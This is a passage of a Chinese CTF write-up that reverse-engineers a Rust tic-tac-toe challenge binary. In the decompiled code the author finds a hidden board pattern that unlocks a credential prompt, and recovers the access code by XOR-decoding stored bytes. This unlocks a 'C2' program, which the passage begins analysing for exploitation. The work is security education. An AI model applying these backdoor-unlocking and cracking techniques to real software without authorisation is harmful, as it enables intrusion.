  int v63; // [rsp+40h] [rbp-318h]
  int v64; // [rsp+48h] [rbp-310h]
  int v65; // [rsp+48h] [rbp-310h]
  int v66; // [rsp+50h] [rbp-308h]
  int v67; // [rsp+58h] [rbp-300h]
  int v68; // [rsp+60h] [rbp-2F8h]
  int v69; // [rsp+68h] [rbp-2F0h]
  int v70; // [rsp+88h] [rbp-2D0h]
  int v71; // [rsp+90h] [rbp-2C8h]
  int v72; // [rsp+98h] [rbp-2C0h]
  int v73; // [rsp+A0h] [rbp-2B8h]
  int v74; // [rsp+A8h] [rbp-2B0h]
  int v75; // [rsp+B0h] [rbp-2A8h]
  int v76; // [rsp+B8h] [rbp-2A0h]
  struct _Unwind_Exception *v77; // [rsp+C0h] [rbp-298h]
  int v78[2]; // [rsp+C8h] [rbp-290h]
  int v80; // [rsp+D8h] [rbp-280h] BYREF
  char v81; // [rsp+DFh] [rbp-279h]
  int v82[6]; // [rsp+E0h] [rbp-278h] BYREF
  _BYTE v83[24]; // [rsp+F8h] [rbp-260h] BYREF
  int v84[2]; // [rsp+110h] [rbp-248h] BYREF
  int v85[2]; // [rsp+118h] [rbp-240h]
  int v86[2]; // [rsp+120h] [rbp-238h]
  __int64 v87; // [rsp+128h] [rbp-230h] BYREF
  __int64 v88; // [rsp+130h] [rbp-228h] BYREF
  int v89; // [rsp+13Ch] [rbp-21Ch] BYREF
  _QWORD v90[3]; // [rsp+140h] [rbp-218h] BYREF
  _QWORD v91[3]; // [rsp+158h] [rbp-200h] BYREF
  _BYTE v92[48]; // [rsp+170h] [rbp-1E8h] BYREF
  _OWORD v93[3]; // [rsp+1A0h] [rbp-1B8h] BYREF
  __int128 v94; // [rsp+1D0h] [rbp-188h] BYREF
  __int128 v95; // [rsp+1E0h] [rbp-178h] BYREF
  __int128 v96; // [rsp+1F0h] [rbp-168h] BYREF
  int v97[2]; // [rsp+200h] [rbp-158h] BYREF
  int v98[2]; // [rsp+208h] [rbp-150h]
  int v99[2]; // [rsp+210h] [rbp-148h]
  int v100[2]; // [rsp+218h] [rbp-140h]
  int v101[2]; // [rsp+220h] [rbp-138h] BYREF
  int v102[4]; // [rsp+228h] [rbp-130h]
  int v103[2]; // [rsp+238h] [rbp-120h]
  _BYTE v104[48]; // [rsp+240h] [rbp-118h] BYREF
  _BYTE v105[48]; // [rsp+270h] [rbp-E8h] BYREF
  _QWORD v106[3]; // [rsp+2A0h] [rbp-B8h] BYREF
  unsigned __int64 v107; // [rsp+2B8h] [rbp-A0h]
  unsigned __int64 v108; // [rsp+2C0h] [rbp-98h] BYREF
  int v109[2]; // [rsp+2C8h] [rbp-90h] BYREF
  __int64 v110; // [rsp+2D0h] [rbp-88h]
  _QWORD v111[2]; // [rsp+2D8h] [rbp-80h] BYREF
  _QWORD v112[3]; // [rsp+2E8h] [rbp-70h] BYREF
  _QWORD v113[2]; // [rsp+300h] [rbp-58h] BYREF
  _QWORD v114[4]; // [rsp+310h] [rbp-48h] BYREF
  __int128 v115; // [rsp+330h] [rbp-28h] BYREF
  __int64 v116; // [rsp+340h] [rbp-18h]

  v80 = a2;
  tictactoe::obfuscate_pattern((int)v82, a2, a3, a4, a5, a6, v37, v40, v43, v46, v50, v52, v54, v59, v62, v64);
  alloc::string::String::new(v83);
  v6 = &amp;lt;alloc::vec::Vec&amp;lt;T,A&amp;gt; as core::ops::deref::Deref&amp;gt;::deref(a3);
  v76 = v7;
  v77 = (struct _Unwind_Exception *)v6;
  v8 = core::slice::&amp;lt;impl [T]&amp;gt;::iter(v6, v7);
  v72 = v9;
  v73 = v8;
  v10 = &amp;lt;I as core::iter::traits::collect::IntoIterator&amp;gt;::into_iter(v8, v9);
  v70 = v11;
  v71 = v10;
  *(_QWORD *)v84 = v10;
  *(_QWORD *)v85 = v11;
  while ( 1 )
  {
    *(_QWORD *)v86 = &amp;lt;core::slice::iter::Iter&amp;lt;T&amp;gt; as core::iter::traits::iterator::Iterator&amp;gt;::next(v84);
    if ( !*(_QWORD *)v86 )
      break;
    v87 = **(_QWORD **)v86;
    v88 = *(_QWORD *)(*(_QWORD *)v86 + 8LL);
    v89 = *(_DWORD *)(*(_QWORD *)v86 + 16LL);
    core::fmt::rt::Argument::new_display(&amp;amp;v94, &amp;amp;v89);
    core::fmt::rt::Argument::new_display(&amp;amp;v95, &amp;amp;v87);
    core::fmt::rt::Argument::new_display(&amp;amp;v96, &amp;amp;v88);
    v93[0] = v94;
    v93[1] = v95;
    v93[2] = v96;
    core::fmt::Arguments::new_v1(v92, &amp;amp;unk_3A5110, v93);
    alloc::fmt::format((unsigned int)v91, (unsigned int)v92);
    v90[0] = v91[0];
    v90[1] = v91[1];
    v90[2] = v91[2];
    v35 = &amp;lt;alloc::string::String as core::ops::deref::Deref&amp;gt;::deref(v90);
    v41 = v36;
    v44 = v35;
    alloc::string::String::push_str(v83, v35, v36);
    core::ptr::drop_in_place&amp;lt;alloc::string::String&amp;gt;(v90);
  }
  v12 = &amp;lt;alloc::string::String as core::ops::deref::Deref&amp;gt;::deref(v82);
  regex::regex::string::Regex::new(
    (int)v101,
    v12,
    v13,
    v14,
    v15,
    v16,
    v38,
    v41,
    v44,
    v47,
    v51,
    v53,
    v55,
    v60,
    v63,
    v65,
    v66,
    v67,
    v68,
    v69,
    v13,
    v12,
    0,
    v70,
    v71,
    v72,
    v73,
    v74,
    v75,
    v76,
    v77,
    a1);
  if ( !*(_QWORD *)v101 )
  {
    v116 = *(_QWORD *)v103;
    v115 = *(_OWORD *)v102;
    core::result::unwrap_failed(aCalledResultUn, 43LL, &amp;amp;v115, &amp;amp;off_3A4EE0, &amp;amp;off_3A50D0);
  }
  *(_QWORD *)v97 = *(_QWORD *)v101;
  *(_QWORD *)v98 = *(_QWORD *)v102;
  *(_QWORD *)v99 = *(_QWORD *)&amp;amp;v102[2];
  *(_QWORD *)v100 = *(_QWORD *)v103;
  v17 = &amp;lt;alloc::string::String as core::ops::deref::Deref&amp;gt;::deref(v83);
  if ( (regex::regex::string::Regex::is_match(v97, v17, v18) &amp;amp; 1) != 0 )
  {
    v19 = &amp;amp;off_3A5100;
    core::fmt::Arguments::new_const(v104, &amp;amp;off_3A5100);
    std::io::stdio::_print(v104);
    if ( (tictactoe::validate_access_code((int)v104, (int)&amp;amp;off_3A5100, v31, v32, v33, v34) &amp;amp; 1) != 0 )
    {
      tictactoe::ask_for_credentials();
      v81 = 1;
    }
    else
    {
      v19 = &amp;amp;off_3A4FE8;
      core::fmt::Arguments::new_const(v105, &amp;amp;off_3A4FE8);
      std::io::stdio::_print(v105);
      v81 = 0;
    }
  }
  else
  {
    v106[0] = &amp;lt;I as core::iter::traits::collect::IntoIterator&amp;gt;::into_iter(0LL, 5LL);
    v106[1] = v20;
    while ( 1 )
    {
      v21 = core::iter::range::&amp;lt;impl core::iter::traits::iterator::Iterator for core::ops::range::Range&amp;lt;A&amp;gt;&amp;gt;::next(v106);
      v61 = v22;
      v106[2] = v21;
      v107 = v22;
      if ( !v21 )
        break;
      v108 = v107;
      if ( v107 &amp;gt;= 5 )
        core::panicking::panic_bounds_check(v108, 5LL, (__int64)&amp;amp;off_3A50E8);
      *(_QWORD *)v109 = core::slice::&amp;lt;impl [T]&amp;gt;::iter(*(_QWORD *)v78 + 20 * v108, 5LL);
      v110 = v28;
      v19 = (char **)&amp;amp;v80;
      if ( (&amp;lt;core::slice::iter::Iter&amp;lt;T&amp;gt; as core::iter::traits::iterator::Iterator&amp;gt;::all(
              (int)v109,
              (int)&amp;amp;v80,
              v28,
              v109[0],
              v29,
              v30,
              (int)v39,
              v42,
              v45,
              v48,
              v28,
              v109[0],
              v56,
              v61) &amp;amp; 1) != 0 )
      {
        v81 = 1;
        goto LABEL_21;
      }
      v111[0] = 0LL;
      v111[1] = 5LL;
      v112[0] = *(_QWORD *)v78;
      v112[1] = &amp;amp;v108;
      v112[2] = &amp;amp;v80;
      v19 = (char **)v112;
      v49 = core::iter::traits::iterator::Iterator::all(v111, v112);
      if ( (v49 &amp;amp; 1) != 0 )
      {
        v81 = 1;
        goto LABEL_21;
      }
    }
    LODWORD(v19) = v78[0];
    v113[0] = 0LL;
    v113[1] = 5LL;
    v58 = core::iter::traits::iterator::Iterator::all(v113, *(_QWORD *)v78, &amp;amp;v80);
    if ( (v58 &amp;amp; 1) != 0 )
    {
      v81 = 1;
      goto LABEL_21;
    }
    LODWORD(v19) = v78[0];
    v114[0] = 0LL;
    v114[1] = 5LL;
    v57 = core::iter::traits::iterator::Iterator::all(v114, *(_QWORD *)v78, &amp;amp;v80);
    if ( (v57 &amp;amp; 1) == 0 )
    {
      v81 = 0;
      core::ptr::drop_in_place&amp;lt;regex::regex::string::Regex&amp;gt;((int)v97, v78[0], v23, v24, v25, v26, v39, v42);
      core::ptr::drop_in_place&amp;lt;alloc::string::String&amp;gt;(v83);
      core::ptr::drop_in_place&amp;lt;alloc::string::String&amp;gt;(v82);
      return v81 &amp;amp; 1;
    }
    v81 = 1;
  }
LABEL_21:
  core::ptr::drop_in_place&amp;lt;regex::regex::string::Regex&amp;gt;((int)v97, (int)v19, v23, v24, v25, v26, v39, v42);
  core::ptr::drop_in_place&amp;lt;alloc::string::String&amp;gt;(v83);
  core::ptr::drop_in_place&amp;lt;alloc::string::String&amp;gt;(v82);
  return v81 &amp;amp; 1;
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;发现一个叫做 &lt;code&gt;tictactoe::obfuscate_pattern&lt;/code&gt; 的函数。&lt;/p&gt;
&lt;p&gt;我对 &lt;code&gt;obfuscate&lt;/code&gt; 这样的字眼比较敏感，并且函数名中有 &lt;code&gt;pattern&lt;/code&gt;，直觉就告诉我这个函数应该是在检测某种棋盘布局，带着这样的直觉进入函数内部一探究竟，果不其然：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;__int64 __fastcall tictactoe::obfuscate_pattern(__int64 a1)
{
  __int64 v1; // rdx
  __int64 v2; // rcx
  __int64 v3; // r8
  __int64 v4; // r9
  __int64 v5; // rax
  __int64 v6; // rdx
  int v7; // esi
  int v8; // edx
  int v9; // ecx
  int v10; // r8d
  int v11; // r9d
  int v13; // [rsp+8h] [rbp-50h]
  __int64 v14; // [rsp+28h] [rbp-30h]
  struct _Unwind_Exception v15; // [rsp+30h] [rbp-28h] BYREF

  v14 = alloc::alloc::exchange_malloc(144LL, 8LL);
  if ( (v14 &amp;amp; 7) != 0 )
    core::panicking::panic_misaligned_pointer_dereference(8LL, v14, &amp;amp;off_3A50B8);
  if ( !v14 )
    ((void (__fastcall __noreturn *)(char **, __int64, __int64, __int64, __int64, __int64))core::panicking::panic_null_pointer_dereference)(
      &amp;amp;off_3A50B8,
      8LL,
      v1,
      v2,
      v3,
      v4);
  *(_QWORD *)v14 = aX00;
  *(_QWORD *)(v14 + 8) = 4LL;
  *(_QWORD *)(v14 + 16) = &quot;O:04&amp;gt;&quot;;
  *(_QWORD *)(v14 + 24) = 4LL;
  *(_QWORD *)(v14 + 32) = &quot;X:11mode{&quot;;
  *(_QWORD *)(v14 + 40) = 4LL;
  *(_QWORD *)(v14 + 48) = &quot;O:13~&quot;;
  *(_QWORD *)(v14 + 56) = 4LL;
  *(_QWORD *)(v14 + 64) = aX22;
  *(_QWORD *)(v14 + 72) = 4LL;
  *(_QWORD *)(v14 + 80) = aO31;
  *(_QWORD *)(v14 + 88) = 4LL;
  *(_QWORD *)(v14 + 96) = aX33;
  *(_QWORD *)(v14 + 104) = 4LL;
  *(_QWORD *)(v14 + 112) = &quot;O:40X:44utf8info\\&quot;;
  *(_QWORD *)(v14 + 120) = 4LL;
  *(_QWORD *)(v14 + 128) = &quot;X:44utf8info\\&quot;;
  *(_QWORD *)(v14 + 136) = 4LL;
  alloc::slice::&amp;lt;impl [T]&amp;gt;::into_vec(&amp;amp;v15, v14, 9LL);
  v5 = &amp;lt;alloc::vec::Vec&amp;lt;T,A&amp;gt; as core::ops::deref::Deref&amp;gt;::deref(&amp;amp;v15);
  v13 = v6;
  v7 = v5;
  alloc::slice::&amp;lt;impl [T]&amp;gt;::join(a1, v5, v6, 1LL, 0LL);
  core::ptr::drop_in_place&amp;lt;alloc::vec::Vec&amp;lt;&amp;amp;str&amp;gt;&amp;gt;((int)&amp;amp;v15, v7, v8, v9, v10, v11, &amp;amp;v15, v13);
  return a1;
}
&lt;/code&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;code&gt;[...]
.rodata:0000000000080368 aX00            db &apos;X:00&apos;               ; DATA XREF: tictactoe::obfuscate_pattern+61↓o
.rodata:00000000000823BC aO04            db &apos;O:04&apos;               ; DATA XREF: tictactoe::obfuscate_pattern+73↓o
.rodata:0000000000082884 aX11            db &apos;X:11&apos;               ; DATA XREF: tictactoe::obfuscate_pattern+86↓o
.rodata:0000000000081C24 aO13            db &apos;O:13&apos;               ; DATA XREF: tictactoe::obfuscate_pattern+99↓o
.rodata:000000000008190C aX22            db &apos;X:22&apos;               ; DATA XREF: tictactoe::obfuscate_pattern+AC↓o
.rodata:0000000000080364 aO31            db &apos;O:31&apos;               ; DATA XREF: tictactoe::obfuscate_pattern+BF↓o
.rodata:0000000000080654 aX33            db &apos;X:33&apos;               ; DATA XREF: tictactoe::obfuscate_pattern+D2↓o
.rodata:000000000007FB80 aO40            db &apos;O:40&apos;               ; DATA XREF: tictactoe::obfuscate_pattern+E5↓o
.rodata:000000000007FB84 aX44            db &apos;X:44&apos;               ; DATA XREF: tictactoe::obfuscate_pattern+F8↓o
[...]
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;棋盘上每个空都是一个 &lt;code&gt;QWORD&lt;/code&gt;，而 &lt;code&gt;aX00&lt;/code&gt;，&lt;code&gt;aO31&lt;/code&gt; 这样的名字，很容易让人联想到 &lt;code&gt;X&lt;/code&gt; 和 &lt;code&gt;O&lt;/code&gt; 棋子，说不定这后面的数字就代表这个棋子在棋盘中的坐标。&lt;/p&gt;
&lt;p&gt;猜想是否正确，我们照着输一遍就是了：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;Player O&apos;s turn. Enter row and column (0-4): 4 0
X - - - O
- X - O -
- - X - -
- O - X -
O - - - -

Player X&apos;s turn. Enter row and column (0-4): 4 4

--- Pattern Recognized! ---

--- Hidden Interface Unlocked ---
Enter Username:
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Bingo ! 解锁隐藏界面。&lt;/p&gt;
&lt;p&gt;现在我们成功进入了 &lt;code&gt;regex::regex::string::Regex::is_match(v97, v17, v18) &amp;amp; 1) != 0&lt;/code&gt; 内部，调用了 &lt;code&gt;tictactoe::ask_for_credentials&lt;/code&gt;。这个函数先获取输入作为 username，看了一下它只是随便接收了一个输入，并没有对其做任何判断，说明 username 可以是任意的。然后问我们要 Access Code，并通过 &lt;code&gt;tictactoe::sha256_hash&lt;/code&gt; 将我们输入的 Access Code 转换为 &lt;code&gt;sha256&lt;/code&gt;.&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;__int64 tictactoe::ask_for_credentials()
{
  int v0; // eax
  int v1; // edx
  int v2; // r9d
  __int64 v3; // rax
  __int64 v4; // rdx
  __int64 v5; // rdx
  int v6; // eax
  struct _Unwind_Exception *v7; // rdx
  int v8; // r9d
  __int64 v9; // rax
  __int64 v10; // rdx
  int v11; // eax
  int v12; // edx
  int v13; // edx
  int v14; // ecx
  int v15; // r8d
  int v16; // r9d
  int v18; // [rsp+0h] [rbp-2A8h]
  int v19; // [rsp+0h] [rbp-2A8h]
  int v20; // [rsp+8h] [rbp-2A0h]
  int v21; // [rsp+8h] [rbp-2A0h]
  int v22; // [rsp+10h] [rbp-298h]
  int v23; // [rsp+10h] [rbp-298h]
  int v24; // [rsp+18h] [rbp-290h]
  int v25; // [rsp+18h] [rbp-290h]
  int v26; // [rsp+20h] [rbp-288h]
  int v27; // [rsp+20h] [rbp-288h]
  char v28; // [rsp+28h] [rbp-280h]
  char v29; // [rsp+28h] [rbp-280h]
  struct _Unwind_Exception *v30; // [rsp+30h] [rbp-278h]
  int v31; // [rsp+38h] [rbp-270h]
  int v32[12]; // [rsp+C8h] [rbp-1E0h] BYREF
  _BYTE v33[24]; // [rsp+F8h] [rbp-1B0h] BYREF
  _BYTE v34[24]; // [rsp+110h] [rbp-198h] BYREF
  _BYTE v35[48]; // [rsp+128h] [rbp-180h] BYREF
  __int64 v36; // [rsp+158h] [rbp-150h] BYREF
  __int64 v37; // [rsp+160h] [rbp-148h] BYREF
  _QWORD v38[2]; // [rsp+168h] [rbp-140h] BYREF
  _BYTE v39[48]; // [rsp+178h] [rbp-130h] BYREF
  __int64 v40; // [rsp+1A8h] [rbp-100h] BYREF
  __int64 v41; // [rsp+1B0h] [rbp-F8h] BYREF
  int v42[6]; // [rsp+1B8h] [rbp-F0h] BYREF
  _BYTE v43[48]; // [rsp+1D0h] [rbp-D8h] BYREF
  __int128 v44; // [rsp+200h] [rbp-A8h] BYREF
  __int128 v45; // [rsp+218h] [rbp-90h] BYREF
  _BYTE v46[64]; // [rsp+228h] [rbp-80h] BYREF
  __int64 v47; // [rsp+268h] [rbp-40h]
  __int64 v48[3]; // [rsp+270h] [rbp-38h] BYREF
  __int64 v49; // [rsp+288h] [rbp-20h]
  __int64 v50[3]; // [rsp+290h] [rbp-18h] BYREF

  core::fmt::Arguments::new_const(v32, &amp;amp;off_3A4FF8);
  std::io::stdio::_print(v32);
  alloc::string::String::new(v33);
  alloc::string::String::new(v34);
  core::fmt::Arguments::new_const(v35, &amp;amp;off_3A5008);
  std::io::stdio::_print(v35);
  v36 = std::io::stdio::stdout();
  v49 = &amp;lt;std::io::stdio::Stdout as std::io::Write&amp;gt;::flush(&amp;amp;v36);
  if ( v49 )
  {
    v50[0] = v49;
    core::result::unwrap_failed(aCalledResultUn, 43LL, v50, &amp;amp;off_3A4F00, &amp;amp;off_3A5018);
  }
  v37 = std::io::stdio::stdin();
  v0 = std::io::stdio::Stdin::read_line(&amp;amp;v37, v33);
  core::result::Result&amp;lt;T,E&amp;gt;::expect(
    v0,
    v1,
    (int)aFailedToReadUs,
    23,
    (int)&amp;amp;off_3A5030,
    v2,
    v18,
    v20,
    v22,
    v24,
    v26,
    v28,
    v30,
    v31);
  v3 = &amp;lt;alloc::string::String as core::ops::deref::Deref&amp;gt;::deref(v33);
  v38[0] = core::str::&amp;lt;impl str&amp;gt;::trim(v3, v4);
  v38[1] = v5;
  core::fmt::Arguments::new_const(v39, &amp;amp;off_3A5048);
  std::io::stdio::_print(v39);
  v40 = std::io::stdio::stdout();
  v47 = &amp;lt;std::io::stdio::Stdout as std::io::Write&amp;gt;::flush(&amp;amp;v40);
  if ( v47 )
  {
    v48[0] = v47;
    core::result::unwrap_failed(aCalledResultUn, 43LL, v48, &amp;amp;off_3A4F00, &amp;amp;off_3A5058);
  }
  v41 = std::io::stdio::stdin();
  v6 = std::io::stdio::Stdin::read_line(&amp;amp;v41, v34);
  core::result::Result&amp;lt;T,E&amp;gt;::expect(
    v6,
    (int)v7,
    (int)aFailedToReadAc,
    26,
    (int)&amp;amp;off_3A5070,
    v8,
    v19,
    v21,
    v23,
    v25,
    v27,
    v29,
    v7,
    v6);
  v9 = &amp;lt;alloc::string::String as core::ops::deref::Deref&amp;gt;::deref(v34);
  v11 = core::str::&amp;lt;impl str&amp;gt;::trim(v9, v10);
  tictactoe::sha256_hash((int)v42, v11, v12);
  if ( (&amp;lt;alloc::string::String as core::cmp::PartialEq&amp;lt;&amp;amp;str&amp;gt;&amp;gt;::eq(v42, &amp;amp;off_3A4F88) &amp;amp; 1) == 0 )
  {
    core::ptr::drop_in_place&amp;lt;alloc::string::String&amp;gt;(v42);
    core::fmt::Arguments::new_const(v46, &amp;amp;off_3A5088);
    std::io::stdio::_print(v46);
    std::process::exit(1);
  }
  core::ptr::drop_in_place&amp;lt;alloc::string::String&amp;gt;(v42);
  core::fmt::rt::Argument::new_display(&amp;amp;v45, v38);
  v44 = v45;
  core::fmt::Arguments::new_v1(v43, &amp;amp;off_3A5098, &amp;amp;v44);
  std::io::stdio::_print(v43);
  tictactoe::execute_c2((int)v43, (int)&amp;amp;off_3A5098, v13, v14, v15, v16);
  core::ptr::drop_in_place&amp;lt;alloc::string::String&amp;gt;(v34);
  return core::ptr::drop_in_place&amp;lt;alloc::string::String&amp;gt;(v33);
}
&lt;/code&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;code&gt;__int64 __fastcall tictactoe::sha256_hash(int a1, int a2, int a3)
{
  int v3; // ecx
  int v4; // r8d
  int v5; // r9d
  __int64 result; // rax
  _QWORD *v8; // [rsp+10h] [rbp-178h]
  int v9[2]; // [rsp+18h] [rbp-170h]
  struct _Unwind_Exception *src; // [rsp+20h] [rbp-168h] BYREF
  int v11; // [rsp+28h] [rbp-160h]
  _BYTE v12[32]; // [rsp+90h] [rbp-F8h] BYREF
  _BYTE dest[112]; // [rsp+B0h] [rbp-D8h] BYREF
  _QWORD v14[3]; // [rsp+120h] [rbp-68h] BYREF
  _BYTE v15[48]; // [rsp+138h] [rbp-50h] BYREF
  _QWORD v16[2]; // [rsp+168h] [rbp-20h] BYREF
  _QWORD v17[2]; // [rsp+178h] [rbp-10h] BYREF

  &amp;lt;D as digest::digest::Digest&amp;gt;::new((unsigned int)&amp;amp;src);
  &amp;lt;D as digest::digest::Digest&amp;gt;::update((int)&amp;amp;src, a2, a3, v3, v4, v5, a3, a2, a1, a1, src, v11);
  memcpy(dest, &amp;amp;src, sizeof(dest));
  &amp;lt;D as digest::digest::Digest&amp;gt;::finalize((unsigned int)v12);
  core::fmt::rt::Argument::new_lower_hex(v17, v12);
  v16[0] = v17[0];
  v16[1] = v17[1];
  core::fmt::Arguments::new_v1(v15, &amp;amp;unk_7B290, v16);
  alloc::fmt::format((unsigned int)v14, (unsigned int)v15);
  result = *(_QWORD *)v9;
  *v8 = v14[0];
  v8[1] = v14[1];
  v8[2] = v14[2];
  return result;
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;之后 &lt;code&gt;(&amp;lt;alloc::string::String as core::cmp::PartialEq&amp;lt;&amp;amp;str&amp;gt;&amp;gt;::eq(v42, &amp;amp;off_3A4F88) &amp;amp; 1) == 0&lt;/code&gt; 将转换结果与 &lt;code&gt;271c6d20f3ba3894199fc3f58b1087130ec340bf85e290b335f8dd4a09ce802f&lt;/code&gt; 这串 hash 作对比，如果相同就调用 &lt;code&gt;tictactoe::execute_c2&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;好了，现在只要搞清楚什么样的明文加密成 &lt;code&gt;sha256&lt;/code&gt; 后等于上述的值就好了。由于 hash 加密不可逆，有撞库的方法，不过我试了下没啥用，再次成功浪费了几分钟……&lt;/p&gt;
&lt;p&gt;那难道我们破解不了明文了吗？别忘了我们还有 &lt;code&gt;tictactoe::decrypt_key&lt;/code&gt;，看名字就知道和解密相关，现在全村的希望都压在这个函数上了……&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;_QWORD *__fastcall tictactoe::decrypt_key(_QWORD *a1)
{
  __int64 v1; // rax
  __int64 v2; // rdx
  __int64 v3; // rax
  __int64 v4; // rdx
  __int64 v5; // rax
  __int64 v6; // rdx
  int v8[6]; // [rsp+60h] [rbp-108h] BYREF
  int v9[6]; // [rsp+78h] [rbp-F0h] BYREF
  int v10[6]; // [rsp+90h] [rbp-D8h] BYREF
  _QWORD v11[3]; // [rsp+A8h] [rbp-C0h] BYREF
  _BYTE v12[48]; // [rsp+C0h] [rbp-A8h] BYREF
  _OWORD v13[3]; // [rsp+F0h] [rbp-78h] BYREF
  __int128 v14; // [rsp+128h] [rbp-40h] BYREF
  __int128 v15; // [rsp+138h] [rbp-30h] BYREF
  __int128 v16; // [rsp+148h] [rbp-20h] BYREF

  v1 = core::slice::&amp;lt;impl [T]&amp;gt;::iter(tictactoe::ENC_PART1);
  core::iter::traits::iterator::Iterator::map(v1, v2);
  core::iter::traits::iterator::Iterator::collect((int)v8);
  v3 = ((__int64 (__fastcall *)(void *, __int64))core::slice::&amp;lt;impl [T]&amp;gt;::iter)(&amp;amp;tictactoe::ENC_PART2, 7LL);
  core::iter::traits::iterator::Iterator::map(v3, v4);
  core::iter::traits::iterator::Iterator::collect((int)v9);
  v5 = core::slice::&amp;lt;impl [T]&amp;gt;::iter(tictactoe::ENC_PART3);
  core::iter::traits::iterator::Iterator::map(v5, v6);
  core::iter::traits::iterator::Iterator::collect((int)v10);
  core::fmt::rt::Argument::new_display(&amp;amp;v14, v8);
  core::fmt::rt::Argument::new_display(&amp;amp;v15, v9);
  core::fmt::rt::Argument::new_display(&amp;amp;v16, v10);
  v13[0] = v14;
  v13[1] = v15;
  v13[2] = v16;
  core::fmt::Arguments::new_v1(v12, &amp;amp;unk_7AE08, v13);
  alloc::fmt::format((unsigned int)v11, (unsigned int)v12);
  *a1 = v11[0];
  a1[1] = v11[1];
  a1[2] = v11[2];
  core::ptr::drop_in_place&amp;lt;alloc::string::String&amp;gt;(v10);
  core::ptr::drop_in_place&amp;lt;alloc::string::String&amp;gt;(v9);
  core::ptr::drop_in_place&amp;lt;alloc::string::String&amp;gt;(v8);
  return a1;
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;分析这个函数，看到它分 &lt;code&gt;ENC_PART1&lt;/code&gt;、&lt;code&gt;ENC_PART2&lt;/code&gt;、&lt;code&gt;ENC_PART3&lt;/code&gt; 三部分处理。&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;.rodata:000000000007ADC5 ; tictactoe::ENC_PART1
.rodata:000000000007ADC5 _ZN9tictactoe9ENC_PART117hc9692e3072677d14E db 1Eh
.rodata:000000000007ADC5                                         ; DATA XREF: tictactoe::decrypt_key+11↓o
.rodata:000000000007ADC6                 db  69h ; i
.rodata:000000000007ADC7                 db  3Ch ; &amp;lt;
.rodata:000000000007ADC8                 db  6Bh ; k
.rodata:000000000007ADC9                 db  34h ; 4
.rodata:000000000007ADCA                 db  69h ; i
.rodata:000000000007ADCB                 db  2Eh ; .
.rodata:000000000007ADCC ; tictactoe::ENC_PART2
.rodata:000000000007ADCC _ZN9tictactoe9ENC_PART217h32e32663a27b062dE db  36h ; 6
.rodata:000000000007ADCC                                         ; DATA XREF: tictactoe::decrypt_key+52↓o
.rodata:000000000007ADCD                 db  23h ; #
.rodata:000000000007ADCE                 db  3Bh ; ;
.rodata:000000000007ADCF                 db  6Dh ; m
.rodata:000000000007ADD0                 db  6Bh ; k
.rodata:000000000007ADD1                 db  39h ; 9
.rodata:000000000007ADD2                 db  6Dh ; m
.rodata:000000000007ADD3 ; tictactoe::ENC_PART3
.rodata:000000000007ADD3 _ZN9tictactoe9ENC_PART317ha3eec3bbd5f1dfdbE db 6Eh
.rodata:000000000007ADD3                                         ; DATA XREF: tictactoe::decrypt_key:loc_12DDF1↓o
.rodata:000000000007ADD4                 db  39h ; 9
.rodata:000000000007ADD5                 db  6Dh ; m
.rodata:000000000007ADD6                 db  6Ah ; j
.rodata:000000000007ADD7                 db  69h ; i
.rodata:000000000007ADD8                 db  3Dh ; =
.rodata:000000000007ADD9                 db  3Bh ; ;
.rodata:000000000007ADDA                 db  37h ; 7
.rodata:000000000007ADDB                 db  69h ; i
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;分别对每一部分进行 &lt;code&gt;core::iter::traits::iterator::Iterator::map&lt;/code&gt; 操作，然后 &lt;code&gt;core::iter::traits::iterator::Iterator::collect&lt;/code&gt; 取操作后的结果。之后 &lt;code&gt;core::fmt::rt::Argument::new_display&lt;/code&gt; 将这三部分分别转换为可打印值，一般用于格式化字符串。不过这里通过 &lt;code&gt;v13&lt;/code&gt; 数组将这些值拼到一块。&lt;code&gt;core::fmt::Arguments::new_v1&lt;/code&gt; 用于将合并后的值转换为格式化参数，用于 &lt;code&gt;alloc::fmt::format&lt;/code&gt;。最后将结果放到 &lt;code&gt;a1&lt;/code&gt; 数组中返回。&lt;/p&gt;
&lt;p&gt;回想一下之前学过的一点 rust 语法，&lt;code&gt;map&lt;/code&gt; 内部一般都会有一个闭包（函数），用于对迭代器中的每一个元素进行一些操作。看函数窗口，我们发现 &lt;code&gt;tictactoe::decrypt_key::{{closure}}&lt;/code&gt; 函数，显然，这就是闭包了。&lt;/p&gt;
&lt;p&gt;一共有三个，每一个都一样：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;__int64 __fastcall tictactoe::decrypt_key::{{closure}}(__int64 a1, _BYTE *a2)
{
  return *a2 ^ 0x5Au;
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;闭包对每一个元素进行 &lt;code&gt;^ 0x5Au&lt;/code&gt; 的操作。即对三个 &lt;code&gt;ENC_PART&lt;/code&gt; 的每一个元素都进行这样的异或。那我们只要手动提取出完整的 &lt;code&gt;ENC_PART&lt;/code&gt;，然后对每一个 byte 都进行这样的异或，就得到了 Access Code.&lt;/p&gt;
&lt;p&gt;终于，我们得到了 &lt;code&gt;/tmp/C2_executable&lt;/code&gt;，但是这个程序并没有直接提供 shell 或者查看 flag 的功能，我们还得继续分析，把它 pwn 掉。好一个一波三折……&lt;/p&gt;
&lt;p&gt;好在，生成的 C2 程序不再是 Rust 写的了……&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;int __fastcall __noreturn main(int argc, const char **argv, const char **envp)
{
  setvbuf(stdout, 0LL, 2, 0LL);
  for ( agent = malloc(0x10uLL); ; executeAction(agent) )
  {
    displayMenu();
    processInput();
  }
}
&lt;/code&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;code&gt;__int64 __fastcall executeAction(__int64 (**a1)(void))
{
  return (*a1)();
}
&lt;/code&gt;&lt;/pre&gt;
